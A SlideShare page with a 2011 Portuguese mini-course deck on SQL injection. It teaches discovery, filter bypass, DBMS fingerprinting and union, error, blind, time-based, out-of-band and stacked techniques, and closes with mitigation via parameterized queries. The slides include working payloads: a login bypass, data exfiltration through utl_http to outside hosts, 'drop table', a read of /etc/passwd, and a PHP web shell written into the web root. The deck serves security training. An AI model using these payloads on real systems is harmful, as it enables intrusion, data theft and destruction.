SlideShare uma empresa Scribd logo
Web App Flaws



Minicurso sobre falhas em aplicações web

                 2011

         David G. Guimarães
           skysbsb[at]gmail.com
Roteiro


  SQL Injection
      Introdução
      Descobrindo falhas
      Análise
           Filtros
           Identificação do SGBD/DBMS
           Localização
           Técnicas
      File Access
      Mitigação
      Hands On
  Referências
  Remote/Local File Inclusion
  XSS
SQL Injection
                              Introdução

O que é?
    Inserção de códigos SQL através da manipulação de dados de entrada
    passados ao aplicativo web.

Como se dá?
   O desenvolvedor é o responsável direto por tornar o código inseguro.

Causas
    Desenvolvedor desconhece fatos inerentes a segurança de código, assim
    como a possibilidade de exploração do mesmo.
    Desenvolvedor conhece fatos inerentes a segurança de código, mas é
    displicente em tomar medidas preventivas para correção do mesmo.
    Falta de processos definidos relativos a desenvolvimento seguro e
    auditoria.
SQL Injection
                               Introdução

Exemplo de código vulnerável (formulário de login)
    $query = "select id from usuarios where user='$_GET['user']' and
    password='$_GET['password']'";
    $usuario = mysql_query($query);

    http://vulnsite.com/admin/login.php?
    user=admin
    &password=' OR '1'='1

Query manipulada:
    select id from usuarios where user='admin' and password='' or '1'='1'
    Condição 1=1 sempre verdadeira. Login realizado com sucesso.
SQL Injection
                               Introdução

Características
    Não necessita interação do usuário, ao contrário de XSS.
    Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.
          Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)
    Fácil de ser encontrada e explorada.
    Possibilidade de acesso ao sistema de arquivos.
    Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.
    Dificuldade em se obter mecanismos de proteção genéricos.
    Milhões de ferramentas livres/open source para scan, análise e exploração.
    Presente na grande maioria dos sites.
SQL Injection
                               Introdução

Cookbook
    Descobrindo falhas
         Manual (Proxy, Firefox Addons)
         Automatizado (ferramentas de fuzzing)
         Testes básicos
    Análise
         Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)
         SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess)
         Localização da falha na query (where/having, group/order by, etc)
         Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)
         Privilégios permitidos (USAGE, FILE, administrator)
    Extração/Enumeração dos dados
         Databases
         Tabelas
         Colunas
         Linhas
SQL Injection
                             Introdução

Cookbook
    Post-exploitation
         Atingindo outros objetivos
         Encontrando outras falhas
         Quebrando senhas/hashs usando rainbowtables
         Acesso ao sistema de arquivos
              Virando root
SQL Injection
                         Descobrindo falhas

Forma automatizada
    Ferramentas
         Nessus, w3af, Nikto, Pangolin, Havij, etc.

Forma manual
    Mapear páginas dinâmicas
    Passivo
         Proxy (webscarab, burp, etc.)
         Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)

Testes básicos
     Númerico: id=30
          Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/;
     String: busca=hd
          busca=hd'; hd'--; hd' AND '1'='1
SQL Injection
                           Análise - Filtros

Analisando e burlando filtros
     Filtros genéricos de remoção/bloqueio baseado em tokens
           Exemplo:
                replace("union| |select|--|/*|...", "");

         Bypass
             Encoding usando tabela ASCII e hexadecimal
                 URLs só podem ser enviadas através da Internet utilizando o
                 conjunto de caracteres ASCII.
                 URLs contêm geralmente caracteres fora do conjunto ASCII, que
                 tem de ser convertidos em um formato ASCII válido.
                 Encoding de URL substitui caracteres ASCII inseguro com um
                 "%" seguido de dois dígitos hexadecimais.
                 Exemplo:
                       union vira %75%6e%69%6f%6e
SQL Injection
                           Análise - Filtros

Analisando e burlando filtros
     Filtros genéricos de remoção/bloqueio baseado em tokens
           Exemplo:
                replace("union| |select|--|/*|...", "");

         Bypass
             Usar outros caracteres para separação entre tokens: 'n'(0x0A),
             't'(0x0B), etc
             Exemplo:
                   Objetivo: id=1 union select 1,2,3--
                   Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-
             maiúsculas/minúsculas
                   select vira sElEcT
SQL Injection
                            Análise - Filtros

Analisando e burlando filtros
     Filtros de tratamento de caracteres SQL especiais
                mysql_real_escape_string/addslashes/etc.
                     trata caracteres ', ", /, , x00, adicionando '' antes dos
                     mesmos, sanitizando-os
                     Bypass:
                          usar a função char()
                          Exemplo:
                               union select column_name from
                               information_schema.columns where table_name =
                               'tabela'
                               union select column_name from
                               information_schema.columns where table_name =
                               CHAR(116, 97, 98, 101, 108, 97)


    Filtro de tamanho no parâmetro
          Utiliza função que corta/bloqueia em X bytes o parâmetro
SQL Injection
              Análise - Identificação do SGBD

Identificação do SGBD/DBMS
     Necessário para extração dos dados/construção da consulta
     Sintaxe SQL única para cada SGBD

Cheat sheets de funções únicas de cada SGBD
    MySQL
         CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring
         (@@version, 1, 1)
    Oracle
         ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)
    MS SQL Server
         BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()
         =HOST_NAME()
    Postgree SQL
         1::int=1, VERSION()=VERSION()
SQL Injection
                       Análise - Localização

Query inteira
    http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios

Colunas/Tabelas
    http://vulnsite.com/script.php?
    colunas=cidade&tabela=estado&nome=brasilia
    $query = "select $_GET['colunas'] from $_GET['tabela'] where nome =
    '$_GET['nome']'";

Where/Having
    http://vulnsite.com/script.php?noticiaid=2
    $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";

Order/Group By
    http://vulnsite.com/lista.php?ordenar_por=preco
    $query = "select id,nome,preco from produtos order by $_GET
    ['ordernar_por']";
SQL Injection
                          Análise - Localização

Limit
        http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10
        $query = "select id,nome,preco from produtos order by preco limit $_GET
        ['pagina'], $_GET['linhas_por_pagina']";
SQL Injection
                          Análise - Técnicas

Union/In-band based
    Resultado parcial ou total da query na página de resposta.
         Resultado depende da lógica do script
         O resultado pode aparecer no cabeçalho
              Cookies, Location, etc.
              Exemplo em ADS:
                   http://site.com/ads.php?url=1
                   $query = "select uri from urls where id = $_GET['url']";
                   $result = mysql_query($query);
                   header("Location: ".mysql_result($result, 1));
SQL Injection
                         Análise - Técnicas

Union/In-band based
    É necessário a identificação da quantidade de colunas da consulta anterior.
         A união das consultas deve possuir o mesmo número de colunas.
         Exemplo:
              select id, nome from users where id=3 union select 1, @@version
         Uso do order by para descobrir o número de colunas:
              http://vulnsite.com/lista.php?id=3 order by 20
         Força bruta com NULL para adivinhar o número de colunas
              id=3 union select null, null, null
SQL Injection
                         Análise - Técnicas

Union/In-band based
    Exemplo:
         $query = "select nome, telefone from usuarios where id = $_GET['id']"
         http://vulnsite.com/users.php?id=3 union all select table_name,
         table_schema from information_schema.tables#
SQL Injection
                          Análise - Técnicas

Error based
     Baseado na manipulação de mensagens de erro geradas pelo SGBD
     Resultado limitado a um número X de caracteres.
     Barulhento (gera mensagens de erro que podem ser armazenadas na
     máquina)
     Exemplo:
          d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR
          (58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR
          (RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND
          'kGgv'='kGgv&Submit=Submit
          ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key
          'group_key'
SQL Injection
                          Análise - Técnicas

Out-of-band based
    Uso de requisições DNS e HTTP para recuperar dados
    Resultado limitado a uma quantidade X de caracteres
    Exemplo:
         utl_http.request('http://www.foo.com:80/'||(select username from
         dba_users where rownum=1))
         10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1"
         404 0 - -

         utl_http.request('http://'||(select user from dual)||'.dyndns.com')
         Verificar logs do bind/named ou;
         Wireshark/tcpdump na porta 53 do servidor DNS.
SQL Injection
                        Análise - Técnicas

Blind based
     Realiza inúmeras comparações para obtenção da informação
     Muito lento
          Aperfeiçoado usando-se paralelismo (threads)
          Aperfeiçoado usando-se busca binária.
          Exemplo:
               id=1 and substring(@@version, 1, 1)=5
               id=1 and substring(@@version, 2, 1)='.'
               etc
SQL Injection
                          Análise - Técnicas

Full-blind time based
     Baseada em tempo de resposta
           waitfor delay '0:0:5', sleep(5), etc.
     Mais lenta de todas
     Pode-se utilizar paralelismo
     Pode-se utilizar "heavy queries":
           BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
     Pode gerar resultados inválidos/inconsistentes
     Exemplo:
           http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame
           from master..sysprocesses where spid = @@SPID and loginame =
           'dominiousuario') waitfor delay '0:0:5'--
           Dorme 5 segundos caso o loginame seja o especificado.
SQL Injection
                          Análise - Técnicas

Stacked based
     Permite alteração dos dados no BD. UPDATE, DROP, etc.
     Possível somente em algumas tecnologias.
     Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada
     em erro.
     Exemplo:
          busca=nome'; drop table noticias--
          busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5'
          else select 1;--
SQL Injection
                     Análise - File Access

  Depende do nível de permissão do usuário.
  Permite leitura, escrita e execução de arquivos com a permissão do usuário
  rodando o DBMS.
  Exemplo:
      Leitura:
            id=1 union select load_file('/etc/passwd');
      Escrita:
            id=1 union select "<?php system($_GET['cmd']); ?>" into outfile
            '/var/www/c.php';--
            id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>"
            into outfile '/var/www/c.php';--
      Execução:
            xp_cmdshell()
            UDF Injection
SQL Injection
                            Evitando SQLi

Solução global: usar consultas/querys parametrizadas
     Exemplo (Unsafe)
         $unsafe_variable = $_POST["user-input"];
         mysql_query("select * from users where id = ".$unsafe_variable);

    Exemplo (Safe)
        $preparedStatement = $db->prepare('select * from users where id = :
        id');
        $preparedStatement->execute(array(':id' => $unsafe_variable));
        $rows = $preparedStatement->fetchAll();

TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para
não mostrar erros para o usuário.
SQL Injection
                           Evitando SQLi

Sanitizar/tratar todos os parâmetros recebidos dos usuários.
     Inteiro
          Converter entrada para inteiro (intval(), is_numeric());
          Tratar possibilidade de números negativos;
     String
          Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))
                html, sql, etc.
SQL Injection
             Hands On - Ao que interessa

  Demonstração de todos os passos para exploração de Web App Flaws.
  DVWA - ferramenta de demonstração/aplicação de vulnerabilidades
  SQLMAP - ferramenta para extração de dados
SQL Injection
                             Referências

  Google codelab: http://google-gruyere.appspot.com/
  Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.
  Tabela ASCII: http://www.asciitable.com/
  SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-
  injection-cheat-sheet/

Mais conteúdo relacionado

PDF
Web App Flaws - SQL Injection
PPT
Sql injection
PDF
A1 - Sql Injection na Prática Parte 01
PDF
Palestra sql injection oficial
PPT
Owasp web app_flaws
PDF
Documentacao automatica
PPT
Solr - Indexação e Busca com ferramenta Open Source
PPT
Seminário PHP Injection/ SQL Injection
Web App Flaws - SQL Injection
Sql injection
A1 - Sql Injection na Prática Parte 01
Palestra sql injection oficial
Owasp web app_flaws
Documentacao automatica
Solr - Indexação e Busca com ferramenta Open Source
Seminário PHP Injection/ SQL Injection

Mais procurados (14)

PPTX
Aula 8 - SQL Injection
PDF
Segurança Web com PHP5
PDF
Escrevendo códigos php seguros
PPTX
Quem tem medo do XSS ? MindThe Sec
PDF
um breve treinamento sobre SQL e suas funcionalidades
PDF
Snep arquitetura
DOCX
Sql - Comandos dml do mysql - parte 1
PDF
Xss injection indo alem do alert.v 0.4
PPTX
PHP robusto com Zend Framework
PPTX
Treinamento de SQL Básico
PDF
LabMM4 (T22 - 12/13) - segurança
ODP
Zend Framework - PHPSP - 2009
PDF
Bypass de token csrf na pratica secure brasil
PDF
Usuarios linux
Aula 8 - SQL Injection
Segurança Web com PHP5
Escrevendo códigos php seguros
Quem tem medo do XSS ? MindThe Sec
um breve treinamento sobre SQL e suas funcionalidades
Snep arquitetura
Sql - Comandos dml do mysql - parte 1
Xss injection indo alem do alert.v 0.4
PHP robusto com Zend Framework
Treinamento de SQL Básico
LabMM4 (T22 - 12/13) - segurança
Zend Framework - PHPSP - 2009
Bypass de token csrf na pratica secure brasil
Usuarios linux
Anúncio

Semelhante a Web app flaws (20)

PDF
Teste de segurança do lado servidor - Nível 1
PDF
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
PPTX
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
ODP
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
PDF
Segurança em Aplicações Web
PPSX
Segurança Web: O MMA da Tecnologia
PDF
Segurança em php
PDF
Google hacking e SQL Injection: Tudo junto e misturado!
PDF
Conteudo curso php
PDF
Conteudo curso php
PDF
etetet
KEY
Construindo uma Aplicação PHP à Prova de Balas - 2010
PDF
Trabalho google hacking_v1.4_final
PPT
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
PPT
Construindo uma Aplicação PHP à Prova de Balas
PPTX
Blind SQL Injection Ameaça Oculta - do Ataque a Defesa
PPTX
Blind SQL Injection Ameaça Oculta - do Ataque a Defesa
PDF
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
PDF
Google Hacking e SQL Injection: Tudo junto e misturado!
PDF
Acessando o MySql com o Python
Teste de segurança do lado servidor - Nível 1
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
Segurança em Aplicações Web
Segurança Web: O MMA da Tecnologia
Segurança em php
Google hacking e SQL Injection: Tudo junto e misturado!
Conteudo curso php
Conteudo curso php
etetet
Construindo uma Aplicação PHP à Prova de Balas - 2010
Trabalho google hacking_v1.4_final
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma Aplicação PHP à Prova de Balas
Blind SQL Injection Ameaça Oculta - do Ataque a Defesa
Blind SQL Injection Ameaça Oculta - do Ataque a Defesa
ESTUDO E ANÁLISE DE VULNERABILIDADES WEB
Google Hacking e SQL Injection: Tudo junto e misturado!
Acessando o MySql com o Python
Anúncio

Último (19)

PDF
Otimizador de planejamento e execução no SAP Transportation Management, TM120...
PPTX
Aula 18 - Manipulacao De Arquivos python
PDF
Gestão de transportes básica no SAP S/4HANA, S4611 Col20
PDF
Fundamentos de gerenciamento de ordens e planejamento no SAP TransportationMa...
PPTX
Informática Aplicada Informática Aplicada Plano de Ensino - estudo de caso NR...
PPTX
Aula16ManipulaçãoDadosssssssssssssssssssssssssssss
PDF
Fullfilment AI - Forum ecommerce 2025 // Distrito e Total Express
PPTX
Programação - Linguagem C - Variáveis, Palavras Reservadas, tipos de dados, c...
PPTX
Gestao-de-Bugs-em-Software-Introducao.pptxxxxxxxx
PDF
Custos e faturamento no SAP S/4HANA Transportation Management, S4TM3 Col26
PDF
Apple Pippin Uma breve introdução. - David Glotz
PDF
Processos na gestão de transportes, TM100 Col18
PPTX
Como-se-implementa-um-softwareeeeeeeeeeeeeeeeeeeeeeeee.pptx
PDF
Aula04-Academia Heri- Tecnologia Geral 2025
PDF
Mergulho profundo técnico para gestão de transportes no SAP S/4HANA, S4TM6 Col14
PDF
20250805_ServiceNow e a Arquitetura Orientada a Serviços (SOA) A Base para Ap...
PPTX
BANCO DE DADOS - AULAS INICIAIS-sgbd.pptx
PDF
Custos e liquidação no SAP Transportation Management, TM130 Col18
PDF
COBITxITIL-Entenda as diferença em uso governança TI
Otimizador de planejamento e execução no SAP Transportation Management, TM120...
Aula 18 - Manipulacao De Arquivos python
Gestão de transportes básica no SAP S/4HANA, S4611 Col20
Fundamentos de gerenciamento de ordens e planejamento no SAP TransportationMa...
Informática Aplicada Informática Aplicada Plano de Ensino - estudo de caso NR...
Aula16ManipulaçãoDadosssssssssssssssssssssssssssss
Fullfilment AI - Forum ecommerce 2025 // Distrito e Total Express
Programação - Linguagem C - Variáveis, Palavras Reservadas, tipos de dados, c...
Gestao-de-Bugs-em-Software-Introducao.pptxxxxxxxx
Custos e faturamento no SAP S/4HANA Transportation Management, S4TM3 Col26
Apple Pippin Uma breve introdução. - David Glotz
Processos na gestão de transportes, TM100 Col18
Como-se-implementa-um-softwareeeeeeeeeeeeeeeeeeeeeeeee.pptx
Aula04-Academia Heri- Tecnologia Geral 2025
Mergulho profundo técnico para gestão de transportes no SAP S/4HANA, S4TM6 Col14
20250805_ServiceNow e a Arquitetura Orientada a Serviços (SOA) A Base para Ap...
BANCO DE DADOS - AULAS INICIAIS-sgbd.pptx
Custos e liquidação no SAP Transportation Management, TM130 Col18
COBITxITIL-Entenda as diferença em uso governança TI

Web app flaws

  • 1. Web App Flaws Minicurso sobre falhas em aplicações web 2011 David G. Guimarães skysbsb[at]gmail.com
  • 2. Roteiro SQL Injection Introdução Descobrindo falhas Análise Filtros Identificação do SGBD/DBMS Localização Técnicas File Access Mitigação Hands On Referências Remote/Local File Inclusion XSS
  • 3. SQL Injection Introdução O que é? Inserção de códigos SQL através da manipulação de dados de entrada passados ao aplicativo web. Como se dá? O desenvolvedor é o responsável direto por tornar o código inseguro. Causas Desenvolvedor desconhece fatos inerentes a segurança de código, assim como a possibilidade de exploração do mesmo. Desenvolvedor conhece fatos inerentes a segurança de código, mas é displicente em tomar medidas preventivas para correção do mesmo. Falta de processos definidos relativos a desenvolvimento seguro e auditoria.
  • 4. SQL Injection Introdução Exemplo de código vulnerável (formulário de login) $query = "select id from usuarios where user='$_GET['user']' and password='$_GET['password']'"; $usuario = mysql_query($query); http://vulnsite.com/admin/login.php? user=admin &password=' OR '1'='1 Query manipulada: select id from usuarios where user='admin' and password='' or '1'='1' Condição 1=1 sempre verdadeira. Login realizado com sucesso.
  • 5. SQL Injection Introdução Características Não necessita interação do usuário, ao contrário de XSS. Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS. Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem) Fácil de ser encontrada e explorada. Possibilidade de acesso ao sistema de arquivos. Possibilidade de exploração de vulnerabilidades no SGBD/DBMS. Dificuldade em se obter mecanismos de proteção genéricos. Milhões de ferramentas livres/open source para scan, análise e exploração. Presente na grande maioria dos sites.
  • 6. SQL Injection Introdução Cookbook Descobrindo falhas Manual (Proxy, Firefox Addons) Automatizado (ferramentas de fuzzing) Testes básicos Análise Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.) SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess) Localização da falha na query (where/having, group/order by, etc) Técnicas possíveis (union/inband, blind, out-of-band, error, stacked) Privilégios permitidos (USAGE, FILE, administrator) Extração/Enumeração dos dados Databases Tabelas Colunas Linhas
  • 7. SQL Injection Introdução Cookbook Post-exploitation Atingindo outros objetivos Encontrando outras falhas Quebrando senhas/hashs usando rainbowtables Acesso ao sistema de arquivos Virando root
  • 8. SQL Injection Descobrindo falhas Forma automatizada Ferramentas Nessus, w3af, Nikto, Pangolin, Havij, etc. Forma manual Mapear páginas dinâmicas Passivo Proxy (webscarab, burp, etc.) Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.) Testes básicos Númerico: id=30 Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/; String: busca=hd busca=hd'; hd'--; hd' AND '1'='1
  • 9. SQL Injection Análise - Filtros Analisando e burlando filtros Filtros genéricos de remoção/bloqueio baseado em tokens Exemplo: replace("union| |select|--|/*|...", ""); Bypass Encoding usando tabela ASCII e hexadecimal URLs só podem ser enviadas através da Internet utilizando o conjunto de caracteres ASCII. URLs contêm geralmente caracteres fora do conjunto ASCII, que tem de ser convertidos em um formato ASCII válido. Encoding de URL substitui caracteres ASCII inseguro com um "%" seguido de dois dígitos hexadecimais. Exemplo: union vira %75%6e%69%6f%6e
  • 10. SQL Injection Análise - Filtros Analisando e burlando filtros Filtros genéricos de remoção/bloqueio baseado em tokens Exemplo: replace("union| |select|--|/*|...", ""); Bypass Usar outros caracteres para separação entre tokens: 'n'(0x0A), 't'(0x0B), etc Exemplo: Objetivo: id=1 union select 1,2,3-- Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select- maiúsculas/minúsculas select vira sElEcT
  • 11. SQL Injection Análise - Filtros Analisando e burlando filtros Filtros de tratamento de caracteres SQL especiais mysql_real_escape_string/addslashes/etc. trata caracteres ', ", /, , x00, adicionando '' antes dos mesmos, sanitizando-os Bypass: usar a função char() Exemplo: union select column_name from information_schema.columns where table_name = 'tabela' union select column_name from information_schema.columns where table_name = CHAR(116, 97, 98, 101, 108, 97) Filtro de tamanho no parâmetro Utiliza função que corta/bloqueia em X bytes o parâmetro
  • 12. SQL Injection Análise - Identificação do SGBD Identificação do SGBD/DBMS Necessário para extração dos dados/construção da consulta Sintaxe SQL única para cada SGBD Cheat sheets de funções únicas de cada SGBD MySQL CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring (@@version, 1, 1) Oracle ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE) MS SQL Server BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME() =HOST_NAME() Postgree SQL 1::int=1, VERSION()=VERSION()
  • 13. SQL Injection Análise - Localização Query inteira http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios Colunas/Tabelas http://vulnsite.com/script.php? colunas=cidade&tabela=estado&nome=brasilia $query = "select $_GET['colunas'] from $_GET['tabela'] where nome = '$_GET['nome']'"; Where/Having http://vulnsite.com/script.php?noticiaid=2 $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']"; Order/Group By http://vulnsite.com/lista.php?ordenar_por=preco $query = "select id,nome,preco from produtos order by $_GET ['ordernar_por']";
  • 14. SQL Injection Análise - Localização Limit http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10 $query = "select id,nome,preco from produtos order by preco limit $_GET ['pagina'], $_GET['linhas_por_pagina']";
  • 15. SQL Injection Análise - Técnicas Union/In-band based Resultado parcial ou total da query na página de resposta. Resultado depende da lógica do script O resultado pode aparecer no cabeçalho Cookies, Location, etc. Exemplo em ADS: http://site.com/ads.php?url=1 $query = "select uri from urls where id = $_GET['url']"; $result = mysql_query($query); header("Location: ".mysql_result($result, 1));
  • 16. SQL Injection Análise - Técnicas Union/In-band based É necessário a identificação da quantidade de colunas da consulta anterior. A união das consultas deve possuir o mesmo número de colunas. Exemplo: select id, nome from users where id=3 union select 1, @@version Uso do order by para descobrir o número de colunas: http://vulnsite.com/lista.php?id=3 order by 20 Força bruta com NULL para adivinhar o número de colunas id=3 union select null, null, null
  • 17. SQL Injection Análise - Técnicas Union/In-band based Exemplo: $query = "select nome, telefone from usuarios where id = $_GET['id']" http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#
  • 18. SQL Injection Análise - Técnicas Error based Baseado na manipulação de mensagens de erro geradas pelo SGBD Resultado limitado a um número X de caracteres. Barulhento (gera mensagens de erro que podem ser armazenadas na máquina) Exemplo: d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR (58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR (RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=Submit ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'
  • 19. SQL Injection Análise - Técnicas Out-of-band based Uso de requisições DNS e HTTP para recuperar dados Resultado limitado a uma quantidade X de caracteres Exemplo: utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1)) 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - - utl_http.request('http://'||(select user from dual)||'.dyndns.com') Verificar logs do bind/named ou; Wireshark/tcpdump na porta 53 do servidor DNS.
  • 20. SQL Injection Análise - Técnicas Blind based Realiza inúmeras comparações para obtenção da informação Muito lento Aperfeiçoado usando-se paralelismo (threads) Aperfeiçoado usando-se busca binária. Exemplo: id=1 and substring(@@version, 1, 1)=5 id=1 and substring(@@version, 2, 1)='.' etc
  • 21. SQL Injection Análise - Técnicas Full-blind time based Baseada em tempo de resposta waitfor delay '0:0:5', sleep(5), etc. Mais lenta de todas Pode-se utilizar paralelismo Pode-se utilizar "heavy queries": BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) Pode gerar resultados inválidos/inconsistentes Exemplo: http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = 'dominiousuario') waitfor delay '0:0:5'-- Dorme 5 segundos caso o loginame seja o especificado.
  • 22. SQL Injection Análise - Técnicas Stacked based Permite alteração dos dados no BD. UPDATE, DROP, etc. Possível somente em algumas tecnologias. Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada em erro. Exemplo: busca=nome'; drop table noticias-- busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5' else select 1;--
  • 23. SQL Injection Análise - File Access Depende do nível de permissão do usuário. Permite leitura, escrita e execução de arquivos com a permissão do usuário rodando o DBMS. Exemplo: Leitura: id=1 union select load_file('/etc/passwd'); Escrita: id=1 union select "<?php system($_GET['cmd']); ?>" into outfile '/var/www/c.php';-- id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into outfile '/var/www/c.php';-- Execução: xp_cmdshell() UDF Injection
  • 24. SQL Injection Evitando SQLi Solução global: usar consultas/querys parametrizadas Exemplo (Unsafe) $unsafe_variable = $_POST["user-input"]; mysql_query("select * from users where id = ".$unsafe_variable); Exemplo (Safe) $preparedStatement = $db->prepare('select * from users where id = : id'); $preparedStatement->execute(array(':id' => $unsafe_variable)); $rows = $preparedStatement->fetchAll(); TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.
  • 25. SQL Injection Evitando SQLi Sanitizar/tratar todos os parâmetros recebidos dos usuários. Inteiro Converter entrada para inteiro (intval(), is_numeric()); Tratar possibilidade de números negativos; String Tratar caracteres especiais (htmlentities($param, ENT_QUOTES)) html, sql, etc.
  • 26. SQL Injection Hands On - Ao que interessa Demonstração de todos os passos para exploração de Web App Flaws. DVWA - ferramenta de demonstração/aplicação de vulnerabilidades SQLMAP - ferramenta para extração de dados
  • 27. SQL Injection Referências Google codelab: http://google-gruyere.appspot.com/ Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc. Tabela ASCII: http://www.asciitable.com/ SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql- injection-cheat-sheet/